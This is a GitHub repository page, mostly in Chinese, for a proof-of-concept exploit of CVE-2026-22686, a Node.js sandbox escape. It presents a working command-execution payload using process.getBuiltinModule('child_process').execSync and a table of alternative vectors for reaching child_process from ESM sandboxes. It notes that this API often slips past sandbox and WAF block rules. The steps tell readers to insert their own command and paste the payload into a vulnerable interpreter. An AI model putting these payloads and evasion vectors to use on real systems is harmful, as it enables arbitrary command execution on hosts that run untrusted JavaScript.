moltengama/CVE-2026-22686-RemoteCodeExecution-RCE-PoC

GitHub: moltengama/CVE-2026-22686-RemoteCodeExecution-RCE-PoC

针对 CVE-2026-22686 漏洞的概念验证工具,演示如何在 ESM 环境中利用「getBuiltinModule」API 实现沙箱逃逸并执行任意系统命令。

Stars: 1 | Forks: 0

## ESM 环境中的 RCE — `require` 问题 当通过 CVE-2026-22686 实现沙箱逃逸时,在 ESM 项目(`"type": "module"`)中执行 OS 命令需要绕过 Node.js 模块加载限制。 标准方法失败的原因如下: | Vector | Result | |--------|--------| | `require('child_process')` | ❌ `require is not defined` — 在 ESM 中不可用 | | `process.mainModule.require(...)` | ❌ `Cannot read properties of undefined` — `mainModule` 在 ESM 中为 `undefined` | | `import('child_process')` | ❌ `A dynamic import callback was not specified` — 需要未在沙箱中配置的 hook | | `process.binding('spawn_sync')` | ⚠️ 可用但层级过低 — 需要手动构造 syscall | ## 解决方案:进程枚举 → `process.getBuiltinModule` 我们不假设某种模块加载方法,而是直接从宿主上下文(沙箱逃逸后已可访问) 枚举 `process` 键: ``` return Object.keys(process) ``` 在返回的键中,识别出了 `getBuiltinModule` — 这是一个 **Node.js 22+ 原生 API**, 专门设计用于允许 ESM 模块访问 Node.js 内置模块, **无需 `require` 或 `import()`**。 ``` process.getBuiltinModule('child_process').execSync('id').toString() // → uid=0(root) gid=0(root) groups=0(root) ✅ RCE confirmed ``` 这是**关键洞察**:`process.getBuiltinModule` 是一个相对较新的 API (Node.js >= 22.3.0),经常被那些拦截 `require` 和 `import` 的 沙箱实现和 WAF 规则所忽略。 ## 替代向量(按 Node.js 版本) 根据目标环境,在枚举 `process` 后, 其他向量可能可用: | Vector | Node.js Version | Notes | |--------|----------------|-------| | `process.getBuiltinModule('child_process')` | >= 22.3.0 | ✅ 最简洁 — 官方 ESM 安全 API | | `process.binding('spawn_sync')` | All | ⚠️ 底层 API,需要手动构建缓冲区 | | `process.mainModule.require(...)` | 仅 CJS | ❌ 在 ESM 中未定义 | | `__non_webpack_require__` | Webpack 打包 | ⚠️ 特定环境 | | `Module.createRequire(import.meta.url)` | >= 12.2.0 | ⚠️ 需要从宿主获取 `Module` 引用 | | `process._linkedBinding('node_os')` | 内部构建 | ⚠️ 极少暴露 | # CVE-2026-2268-RemoteCodeExecution-RCE-PoC 步骤: 1. 插入你的个人命令 2. 将生成的结果 payload 粘贴到你易受攻击的 js sandbox 解释器中 3. 享受结果 image
标签:child_process, CVE-2026-22686, ESM, EXP, getBuiltinModule, GNU通用公共许可证, MITM代理, Node.js, RCE, Web安全, Web报告查看器, 安全漏洞, 开放策略代理, 数据可视化, 模块加载绕过, 沙箱逃逸, 编程工具, 蓝队分析, 进程对象枚举, 远程代码执行